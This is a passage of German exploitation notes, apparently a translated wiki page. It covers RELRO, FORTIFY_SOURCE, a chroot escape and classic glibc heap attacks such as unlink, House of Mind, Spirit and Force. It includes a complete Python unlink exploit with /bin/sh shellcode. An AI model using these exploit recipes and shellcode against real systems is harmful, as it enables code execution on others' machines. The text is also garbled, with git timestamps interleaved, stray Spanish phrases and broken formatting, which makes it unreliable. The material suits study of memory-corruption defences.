Die einzige Möglichkeit, sicherzustellen, dass ASLR funktioniert, besteht darin, eine 64-Bit-Architektur zu verwenden. Dort gibt es keine Brute-Force-Angriffe.
2022-05-01 13:25:53 +00:00
### Relro
2021-09-26 15:10:12 +00:00
**Relro (Read only Relocation)** beeinflusst die Speicherberechtigungen ähnlich wie NX. Der Unterschied besteht darin, dass während NX den Stack ausführbar macht, RELRO bestimmte Dinge schreibgeschützt macht, sodass wir nicht darauf schreiben können. Der häufigste Weg, wie ich gesehen habe, dass dies ein Hindernis darstellt, besteht darin, uns daran zu hindern, eine **`got`-Tabelle zu überschreiben**, was später behandelt wird. Die `got`-Tabelle enthält Adressen für libc-Funktionen, damit das Binärprogramm weiß, welche Adressen es sind und sie aufrufen kann. Schauen wir uns an, wie die Speicherberechtigungen für einen `got`-Tabelleneintrag für ein Binärprogramm mit und ohne Relro aussehen.
2021-09-26 15:10:12 +00:00
2024-02-10 15:36:32 +00:00
Mit Relro:
2021-09-26 15:10:12 +00:00
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
2024-02-10 15:36:32 +00:00
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
2021-09-26 15:10:12 +00:00
```
2024-02-10 15:36:32 +00:00
Ohne Relro:
2021-09-26 15:10:12 +00:00
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
2024-02-10 15:36:32 +00:00
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
2021-09-26 15:10:12 +00:00
```
Für die Binärdatei **ohne relro** können wir sehen, dass die `got`-Eintragsadresse für `fgets` `0x404018` ist. Wenn wir uns die Speicherzuordnungen ansehen, sehen wir, dass sie zwischen `0x404000` und `0x405000` liegt, was die **Berechtigungen `rw`** hat, was bedeutet, dass wir darauf lesen und schreiben können. Für die Binärdatei **mit relro** sehen wir, dass die Adresse der `got`-Tabelle für die Ausführung der Binärdatei (pie ist aktiviert, daher wird sich diese Adresse ändern) `0x555555557fd0` ist. In der Speicherzuordnung dieser Binärdatei liegt sie zwischen `0x0000555555557000` und `0x0000555555558000`, was die Speicherberechtigung `r` bedeutet, was bedeutet, dass wir nur daraus lesen können.
2021-09-26 15:10:12 +00:00
Also, was ist die **Umgehung**? Die typische Umgehung, die ich verwende, ist einfach nicht in Speicherbereiche zu schreiben, die durch relro schreibgeschützt werden, und **einen anderen Weg finden, um Codeausführung zu erreichen**.
2021-09-26 15:10:12 +00:00
2024-02-10 15:36:32 +00:00
Beachten Sie, dass die Binärdatei vor der Ausführung die Adressen der Funktionen kennen muss:
2021-09-26 15:10:12 +00:00
2024-02-10 15:36:32 +00:00
* Lazy Binding: Die Adresse einer Funktion wird beim ersten Aufruf der Funktion gesucht. Daher muss die GOT während der Ausführung Schreibberechtigungen haben.
* Bind now: Die Adressen der Funktionen werden zu Beginn der Ausführung gelöst, dann werden schreibgeschützte Berechtigungen für sensible Abschnitte wie .got, .dtors, .ctors, .dynamic, .jcr vergeben. `` `** ``-z relro`**`y`**`-z now\`\*\*
2021-09-26 15:10:12 +00:00
Um zu überprüfen, ob ein Programm Bind now verwendet, können Sie Folgendes tun:
2021-09-26 15:10:12 +00:00
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
Cuando der Binärdatei im Speicher geladen wird und eine Funktion zum ersten Mal aufgerufen wird, wird zur PLT (Procedure Linkage Table) gesprungen, von dort aus wird zu der GOT gesprungen und festgestellt, dass dieser Eintrag nicht aufgelöst wurde (enthält eine Adresse nach der PLT). Daher ruft es den Laufzeit-Linker oder rtfd auf, um die Adresse aufzulösen und in der GOT zu speichern.
2021-09-26 15:10:12 +00:00
Wenn eine Funktion aufgerufen wird, wird die PLT aufgerufen, die die Adresse der GOT enthält, in der die Adresse der Funktion gespeichert ist, und leitet den Fluss dorthin um, um die Funktion aufzurufen. Wenn jedoch die Funktion zum ersten Mal aufgerufen wird, enthält die GOT die nächste Anweisung der PLT, daher folgt der Fluss dem PLT-Code (rtfd) und ermittelt die Adresse der Funktion, speichert sie in der GOT und ruft sie auf.
Beim Laden einer Binärdatei in den Speicher hat der Compiler angegeben, an welcher Offset Daten platziert werden müssen, die geladen werden sollen, wenn das Programm ausgeführt wird.
Lazy binding -> Die Adresse der Funktion wird gesucht, wenn die Funktion zum ersten Mal aufgerufen wird, daher hat die GOT Schreibberechtigungen, damit sie dort gespeichert wird und nicht erneut gesucht werden muss.
Bind now -> Die Adressen der Funktionen werden beim Laden des Programms gesucht und die Berechtigungen der Abschnitte .got, .dtors, .ctors, .dynamic, .jcr werden auf nur Lesen geändert. **-z relro** und **-z now**
Trotzdem sind Programme im Allgemeinen nicht mit diesen Optionen kompliziert, daher bleiben diese Angriffe weiterhin möglich.
**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** -> Um festzustellen, ob BIND NOW verwendet wird
**Fortify Source -D_FORTIFY_SOURCE=1 or =2**
Versucht, unsichere Funktionen zu identifizieren, die Daten unsicher von einem Ort zum anderen kopieren, und ersetzt die Funktion durch eine sichere Funktion.
Zum Beispiel:\
char buf\[16];\
strcpy(but, source);
Es wird als unsicher identifiziert und dann wird strcpy() durch \_\_strcpy\_chk() ersetzt, wobei die Puffergröße als maximale zu kopierende Größe verwendet wird.
Der Unterschied zwischen **=1** oder **=2** ist, dass:
Die zweite Option verhindert, dass **%n** aus einem Abschnitt mit Schreibberechtigung stammt. Außerdem kann der Parameter für den direkten Zugriff auf Argumente nur verwendet werden, wenn die vorherigen verwendet wurden, d.h. **%3$d** kann nur verwendet werden, wenn zuvor **%2$d** und **%1$d** verwendet wurden.
Um die Fehlermeldung anzuzeigen, wird argv\[0] verwendet, daher wird, wenn dort die Adresse eines anderen Ortes (wie einer globalen Variablen) angegeben wird, der Inhalt dieser Variablen in der Fehlermeldung angezeigt. Seite 191
**Ersatz von Libsafe**
Es wird aktiviert durch: LD_PRELOAD=/lib/libsafe.so.2\
oder\
“/lib/libsave.so.2” > /etc/ld.so.preload
Es werden unsichere Funktionsaufrufe durch sichere ersetzt. Es ist nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, nicht für statische Kompilierungen, nicht alle anfälligen Funktionen werden sicher gemacht und LD_PRELOAD funktioniert nicht bei SUID-Binärdateien).
**ASCII Armored Address Space**
Es beinhaltet das Laden von gemeinsam genutzten Bibliotheken von 0x00000000 bis 0x00ffffff, um sicherzustellen, dass immer ein Byte 0x00 vorhanden ist. Dies hält jedoch kaum einen Angriff auf, insbesondere nicht in Little Endian.
**ret2plt**
Es beinhaltet die Durchführung eines ROP, bei dem die Funktion strcpy@plt (aus der plt) aufgerufen wird und auf den Eintrag der GOT gezeigt wird, und das erste Byte der Funktion, die aufgerufen werden soll (system()), kopiert wird. Anschließend wird dasselbe mit GOT+1 gemacht und das 2. Byte von system() kopiert... Schließlich wird die in der GOT gespeicherte Adresse aufgerufen, die system() sein wird.
**Falsches EBP**
Für Funktionen, die EBP als Register verwenden, um auf Argumente zu zeigen, wenn der EIP geändert wird und auf system() gezeigt wird, muss auch EBP geändert werden, um auf einen Speicherbereich zu zeigen, der 2 beliebige Bytes und dann die Adresse zu &”/bin/sh” enthält.
**Jails mit chroot()**
debootstrap -arch=i386 hardy /home/user -> Installiert ein grundlegendes System unter einem bestimmten Unterverzeichnis
Ein Administrator kann aus einer solchen Jail ausbrechen, indem er: mkdir foo; chroot foo; cd .. macht.
**Code-Instrumentierung**
Valgrind -> Sucht nach Fehlern\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap-Überläufe: Grundlegende Exploits**
**Zugewiesenes Stück**
prev_size |\
size | —Header\
\*mem | Daten
**Freies Stück**
prev_size |\
size |\
\*fd | Ptr vorwärts Chunk\
\*bk | Ptr rückwärts Chunk —Header\
\*mem | Daten
Die freien Stücke sind in einer doppelt verketteten Liste (bin) und es dürfen niemals zwei freie Stücke nebeneinander sein (sie werden zusammengeführt).
Im "size"-Feld gibt es Bits, um anzuzeigen: ob das vorherige Stück in Benutzung ist, ob das Stück über mmap() zugewiesen wurde und ob das Stück zum primären Arena gehört.
Wenn ein Stück freigegeben wird und eines der benachbarten Stücke frei ist, werden sie durch die Makro unlink() fusioniert und das größere neue Stück wird frontlink() übergeben, um es in den entsprechenden Bin einzufügen.
unlink(){\
BK = P->bk; —> Das BK des neuen Chunks ist das, was das zuvor freie Stück hatte\
FD = P->fd; —> Das FD des neuen Chunks ist das, was das zuvor freie Stück hatte\
FD->bk = BK; —> Das BK des folgenden Chunks zeigt auf den neuen Chunk\
BK->fd = FD; —> Das FD des vorherigen Chunks zeigt auf den neuen Chunk\
}
Daher, wenn es uns gelingt, P->bk mit der Adresse eines Shellcodes und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu ändern, wird erreicht:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Und so wird der Shellcode ausgeführt, wenn das Programm beendet wird.
Außerdem schreibt die 4. Anweisung von unlink() etwas und der Shellcode muss dafür angepasst werden:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Dies führt dazu, dass 4 Bytes ab dem 8. Byte des Shellcodes geschrieben werden, daher muss die erste Anweisung des Shellcodes ein Sprung sein, um dies zu überspringen und zu den Nops zu gelangen, die den Rest des Shellcodes ausführen.
2024-02-10 15:36:32 +00:00
Daher wird der Exploit erstellt:
Im Puffer1 wird der Shellcode platziert, beginnend mit einem Sprung, damit er zu den Nops oder dem Rest des Shellcodes gelangt.
Nach dem Shellcode wird Füllmaterial eingefügt, bis zum prev_size- und size-Feld des nächsten Stücks. An diesen Stellen werden 0xfffffff0 (um das prev_size zu überschreiben, damit das Bit angezeigt wird, dass es frei ist) und "-4" (0xfffffffc) in die size eingefügt (damit, wenn im 3. Stück überprüft wird, ob das 2. frei war, tatsächlich auf das modifizierte prev_size zugegriffen wird, das angibt, dass es frei ist) -> Wenn also free() überprüft, wird es zur size des 3. Stücks gehen, aber tatsächlich zum 2. - 4 und denken, dass das 2. Stück frei ist. Dann wird unlink() aufgerufen.
Beim Aufruf von unlink() werden die ersten Daten des 2. Stücks als P->fd verwendet, daher wird dort die Adresse eingefügt, die überschrieben werden soll - 12 (da FD->bk 12 zur in FD gespeicherten Adresse hinzufügt). An dieser Adresse wird die zweite Adresse im 2. Stück eingefügt, die die Adresse des Shellcodes sein soll (falsches P->bk).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
2024-02-10 15:36:32 +00:00
**prev\_size = pack("\<I”, 0xfffffff0) #Es ist wichtig, dass das Bit, das angibt, dass der vorherige Chunk frei ist, auf 1 gesetzt ist**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, damit der "size" des 3. Chunks 4 Bytes hinter dem vorherigen liegt (zeigt auf prev\_size), da dort überprüft wird, ob der 2. Chunk frei ist**
2024-02-10 15:36:32 +00:00
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Im Payload fügen wir am Anfang 8 Bytes Padding hinzu**
**got\_free = pack("\<I", 0x08048300 - 12) #Adresse von free() in der plt-12 (wird überschrieben, um die Shellcode beim zweiten Aufruf von free() auszuführen)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Wie erwähnt, beginnt das Payload mit 8 Bytes Padding aus einem bestimmten Grund**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Der 2. Chunk wird modifiziert, got\_free zeigt auf die Stelle, an der die Adresse addr\_sc + 12 gespeichert wird**
**os.system("./8.3.o " + payload)**
2024-02-10 15:36:32 +00:00
**unset() in umgekehrter Reihenfolge freigeben (Wargame)**
2024-02-10 15:36:32 +00:00
Wir kontrollieren 3 aufeinanderfolgende Chunks und geben sie in umgekehrter Reihenfolge frei.
2024-02-10 15:36:32 +00:00
In diesem Fall:
Der Shellcode wird in Chunk c platziert.
Chunk a wird verwendet, um b zu überschreiben, so dass das Size-Bit PREV\_INUSE deaktiviert wird und Chunk a als frei betrachtet wird.
Darüber hinaus wird die Größe im Header von b überschrieben, um -4 zu sein.
Daher wird das Programm denken, dass "a" frei ist und in einem Bin liegt, und unlink() aufrufen, um es zu entkoppeln. Da jedoch der Header PREV\_SIZE -4 beträgt, wird angenommen, dass der "a"-Chunk tatsächlich bei b+4 beginnt. Mit anderen Worten, es wird unlink() auf einen Chunk ausgeführt, der bei b+4 beginnt, sodass sich der Pointer "fd" bei b+12 und der Pointer "bk" bei b+16 befinden.
Auf diese Weise, wenn wir die Adresse des Shellcodes in bk und die Adresse der Funktion "puts()" -12 in fd setzen, haben wir unser Payload.
2024-02-10 15:36:32 +00:00
**Frontlink-Technik**
Frontlink wird aufgerufen, wenn etwas freigegeben wird und keiner seiner benachbarten Chunks frei ist. unlink() wird nicht aufgerufen, sondern frontlink() wird direkt aufgerufen.
Nützliche Schwachstelle, wenn das angegriffene malloc nie freigegeben wird (free()).
2024-02-10 15:36:32 +00:00
Benötigt:
Einen Puffer, der mit der Eingabefunktion überlaufen kann
Einen benachbarten Puffer, der freigegeben werden muss und dessen fd-Feld im Header durch den Überlauf des vorherigen Puffers geändert wird
Einen Puffer, der größer als 512, aber kleiner als der vorherige Puffer ist, der freigegeben werden soll
Einen Puffer, der vor Schritt 3 deklariert wird und es ermöglicht, den prev\_size dieses Puffers zu überschreiben
Durch das Überlaufen von zwei mallocs auf unkontrollierte Weise und eines auf kontrollierte Weise, der nur freigegeben wird, kann ein Exploit durchgeführt werden.
**Vulnerabilität double free()**
Wenn free() zweimal mit demselben Zeiger aufgerufen wird, zeigen zwei Bins auf dieselbe Adresse.
Wenn einer erneut verwendet werden soll, wird er problemlos zugewiesen. Wenn der andere verwendet werden soll, wird ihm derselbe Speicherplatz zugewiesen, sodass die Pointer "fd" und "bk" mit den Daten gefälscht werden, die die vorherige Reservierung schreibt.
**After free()**
2024-02-10 15:36:32 +00:00
Ein zuvor freigegebener Zeiger wird erneut ohne Kontrolle verwendet.
2024-02-10 15:36:32 +00:00
## **8 Heap-Überläufe: Fortgeschrittene Exploits**
Die Techniken Unlink() und FrontLink() wurden entfernt, als die Funktion unlink() geändert wurde.
2022-04-28 23:27:22 +00:00
**The house of mind**
Nur ein Aufruf von free() ist erforderlich, um die Ausführung beliebigen Codes zu verursachen. Es ist wichtig, einen zweiten Chunk zu finden, der von einem vorherigen überlaufen und freigegeben werden kann.
Ein Aufruf von free() führt dazu, dass public\_fREe(mem) aufgerufen wird, das Folgendes ausführt:
2022-02-28 09:13:08 +00:00
mstate ar\_ptr;
mchunkptr p;
2024-02-10 15:36:32 +00:00
p = mem2chunk(mes); —> Gibt einen Zeiger auf die Adresse zurück, an der der Chunk beginnt (mem-8)
2022-02-28 09:13:08 +00:00
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
2022-02-28 09:13:08 +00:00
\_int\_free(ar\_ptr, mem);
}
In \[1] wird das Feld size und das Bit NON\_MAIN\_ARENA überprüft, das geändert werden kann, damit die Überprüfung true zurückgibt und heap\_for\_ptr() ausgeführt wird, das ein "and" auf "mem" ausführt und die 2,5 unwichtigsten Bytes auf 0 setzt (in unserem Fall von 0x0804a000 auf 0x08000000) und auf 0x08000000->ar\_ptr zugreift (als ob es ein struct heap\_info wäre).
Auf diese Weise, wenn wir beispielsweise einen Chunk bei 0x0804a000 kontrollieren und ein Chunk bei **0x081002a0** freigegeben wird, können wir die Adresse 0x08100000 erreichen und beliebige Daten schreiben, z.B. **0x0804a000**. Wenn dieser zweite Chunk freigegeben wird, wird heap\_for\_ptr(ptr)->ar\_ptr den Wert zurückgeben, den wir in 0x08100000 geschrieben haben (da auf 0x081002a0 das zuvor erwähnte "and" angewendet wird und von dort der Wert der ersten 4 Bytes, ar\_ptr, abgeleitet wird).
Dann wird \_int\_free(ar\_ptr, mem) aufgerufen, d.h. **\_int\_free(0x0804a000, 0x081002a0)**\
2022-02-28 09:13:08 +00:00
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
2022-02-28 09:13:08 +00:00
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Wie zuvor erwähnt, können wir den Wert von av kontrollieren, da wir ihn im freigegebenen Chunk schreiben.
2024-02-10 15:36:32 +00:00
Wie unsorted\_chunks definiert ist, wissen wir, dass:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Daher, wenn wir den Wert von \_\_DTOR\_END\_\_-12 in av->bins\[2] schreiben, wird in der letzten Anweisung in \_\_DTOR\_END\_\_ die Adresse des zweiten Chunks geschrieben.
Mit anderen Worten, am Anfang des ersten Chunks müssen wir die Adresse von \_\_DTOR\_END\_\_-12 viele Male platzieren, da av->bins\[2\] diesen Wert verwendet.
An der Adresse, an der die Adresse des zweiten Chunks mit den letzten 5 Nullen landet, muss die Adresse dieses ersten Chunks geschrieben werden, damit heap\_for\_ptr() denkt, dass ar\_ptr am Anfang des ersten Chunks liegt und av->bins\[2\] von dort abruft.
Im zweiten Chunk und dank des ersten überschreiben wir prev\_size mit einem Sprung von 0x0c und size mit etwas, um -> NON\_MAIN\_ARENA zu aktivieren.
Dann fügen wir im zweiten Chunk viele Nops und schließlich den Shellcode hinzu.
Auf diese Weise wird \_int\_free(CHUNK1, CHUNK2) aufgerufen und den Anweisungen gefolgt, um die Adresse des prev\_size von CHUNK2 in \_\_DTOR\_END\_\_ zu schreiben, der dann zum Shellcode springt.
Für die Anwendung dieser Technik sind einige weitere Anforderungen erforderlich, die das Payload etwas komplizierter machen.
Esta técnica ya no es aplicable, da fast der gleiche Patch wie bei unlink angewendet wurde. Es wird überprüft, ob die neue Adresse, auf die gezeigt wird, auch auf sich selbst zeigt.
**Fastbin**
2024-02-10 15:36:32 +00:00
Es ist eine Variante von The House of Mind.
Es ist wichtig, den folgenden Code auszuführen, der nach der ersten Überprüfung der Funktion \_int\_free() erreicht wird:
2024-02-10 15:36:32 +00:00
fb = &(av->fastbins\[fastbin\_index(size)] —> wobei fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Auf diese Weise, wenn "fb" auf die Adresse einer Funktion in der GOT gesetzt wird, wird an dieser Adresse die Adresse des überschriebenen Chunks platziert. Dafür muss die Arena in der Nähe der Adressen von dtors sein. Genauer gesagt muss av->max\_fast an der Adresse stehen, die wir überschreiben werden.
Da wir mit The House of Mind gesehen haben, dass wir die Position von av kontrollieren konnten.
Deshalb, wenn wir in das Feld size eine Größe von 8 + NON\_MAIN\_ARENA + PREV\_INUSE setzen, wird fastbin\_index() fastbins\[-1] zurückgeben, das auf av->max\_fast zeigen wird.
2024-02-10 15:36:32 +00:00
In diesem Fall wird av->max\_fast die Adresse sein, die überschrieben wird (nicht die, auf die gezeigt wird, sondern diese Position wird überschrieben).
Außerdem muss der benachbarte Chunk des freigegebenen Chunks größer als 8 sein -> Da wir gesagt haben, dass die Größe des freigegebenen Chunks 8 beträgt, müssen wir in diesen falschen Chunk nur eine Größe größer als 8 setzen (da die Shellcode im freigegebenen Chunk sein wird, muss am Anfang ein jmp stehen, der in Nops fällt).
Außerdem muss dieser falsche Chunk kleiner als av->system\_mem sein. av->system\_mem ist 1848 Bytes weiter.
Aufgrund der Nullen von \_DTOR\_END\_ und der wenigen Adressen in der GOT sind keine dieser Adressen für das Überschreiben geeignet. Sehen wir also, wie wir Fastbin anwenden können, um den Stack anzugreifen.
Eine andere Angriffsmethode besteht darin, den **av** auf den Stack umzuleiten.
Wenn wir die Größe so ändern, dass sie 16 anstelle von 8 beträgt, dann wird fastbin\_index() fastbins\[0\] zurückgeben und wir können dies nutzen, um den Stack zu überschreiben.
Dafür dürfen im Stack keine Canarys oder seltsamen Werte vorhanden sein, tatsächlich müssen wir uns hier befinden: 4 Nullbytes + EBP + RET
Die 4 Nullbytes sind erforderlich, damit der **av** auf diese Adresse zeigt und das erste Element eines **av** ist das Mutex, das den Wert 0 haben muss.
Der **av->max\_fast** wird das EBP sein und ein Wert, der uns helfen wird, die Einschränkungen zu umgehen.
Im **av->fastbins\[0\]** wird die Adresse von **p** überschrieben und wird das RET sein, so dass der Shellcode ausgeführt wird.
Außerdem wird in **av->system\_mem** (1484 Bytes über der Position im Stack) genügend Müll vorhanden sein, der es uns ermöglicht, die Überprüfung zu umgehen.
Außerdem muss der benachbarte Chunk des freigegebenen Chunks größer als 8 sein -> Da wir gesagt haben, dass die Größe des freigegebenen Chunks 16 beträgt, müssen wir in diesen falschen Chunk nur eine Größe größer als 8 setzen (da die Shellcode im freigegebenen Chunk sein wird, muss am Anfang ein jmp stehen, der in Nops fällt, die nach dem Feld size des neuen falschen Chunks stehen).
**The House of Spirit**
In diesem Fall versuchen wir, einen Zeiger auf ein malloc zu haben, der vom Angreifer veränderbar ist (zum Beispiel, dass der Zeiger im Stack unter einem möglichen Überlauf zu einer Variablen liegt).
So könnten wir diesen Zeiger auf eine beliebige Stelle zeigen lassen. Allerdings ist nicht jeder Ort gültig, die Größe des gefälschten Chunks muss kleiner als av->max\_fast und genauer gesagt gleich der angeforderten Größe bei einem zukünftigen Aufruf von malloc()+8 sein. Daher, wenn wir wissen, dass nach diesem verwundbaren Zeiger ein malloc(40) aufgerufen wird, muss die Größe des gefälschten Chunks 48 betragen.
Wenn das Programm zum Beispiel den Benutzer nach einer Zahl fragt, könnten wir 48 eingeben und den veränderbaren malloc-Zeiger auf die nächsten 4 Bytes zeigen lassen (die zum EBP gehören könnten, so dass die 48 dahinter bleibt, als ob es die Kopfgröße wäre). Außerdem muss die Adresse ptr-4+48 mehreren Bedingungen entsprechen (in diesem Fall ist ptr=EBP), das heißt, 8 < ptr-4+48 < av->system\_mem.
Wenn dies zutrifft, wird beim nächsten malloc-Aufruf, den wir als malloc(40) angegeben haben, die Adresse auf den EBP gesetzt. Wenn der Angreifer auch kontrollieren kann, was in diesem malloc geschrieben wird, kann er sowohl den EBP als auch den EIP mit der gewünschten Adresse überschreiben.
Ich denke, das liegt daran, dass, wenn es freigegeben wird, free() speichert, dass an der Adresse, auf die der EBP im Stack zeigt, ein Chunk mit der perfekten Größe für das neue malloc() reserviert ist, und weist ihm diese Adresse zu.
**The House of Force**
2024-02-10 15:36:32 +00:00
Es wird benötigt:
* Ein Überlauf zu einem Chunk, der es ermöglicht, das Wilderness zu überschreiben
* Ein Aufruf von malloc() mit der vom Benutzer definierten Größe
* Ein Aufruf von malloc(), dessen Daten vom Benutzer definiert werden können
2024-02-10 15:36:32 +00:00
Zuerst wird die Größe des Wilderness-Chunks mit einem sehr großen Wert (0xffffffff) überschrieben, so dass jede ausreichend große Speicheranforderung in \_int\_malloc() behandelt wird, ohne den Heap erweitern zu müssen.
Zweitens wird av->top geändert, damit es auf einen vom Angreifer kontrollierten Speicherbereich zeigt, wie den Stack. In av->top wird \&EIP - 8 platziert.
2024-02-10 15:36:32 +00:00
Wir müssen av->top überschreiben, damit es auf den vom Angreifer kontrollierten Speicherbereich zeigt:
victim = av->top;
2022-02-28 09:13:08 +00:00
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim erhält den Wert der Adresse des aktuellen Wilderness-Chunks (des aktuellen av->top) und remainder ist genau die Summe dieser Adresse plus der Anzahl der Bytes, die von malloc() angefordert wurden. Wenn also \&EIP-8 bei 0xbffff224 liegt und av->top 0x080c2788 enthält, dann ist die Menge, die im kontrollierten malloc reserviert werden muss, damit av->top auf $EIP-8 für das nächste malloc() zeigt:
0xbffff224 - 0x080c2788 = 3086207644.
So wird der geänderte Wert in av->top gespeichert und das nächste malloc zeigt auf den EIP und kann überschrieben werden.
Es ist wichtig zu wissen, dass die Größe des neuen Wilderness-Chunks größer sein muss als die Anforderung des letzten malloc(). Das heißt, wenn das Wilderness auf \&EIP-8 zeigt, wird die Größe genau im EBP-Feld des Stacks liegen.
**The House of Lore**
2024-02-10 15:36:32 +00:00
**SmallBin-Korruption**
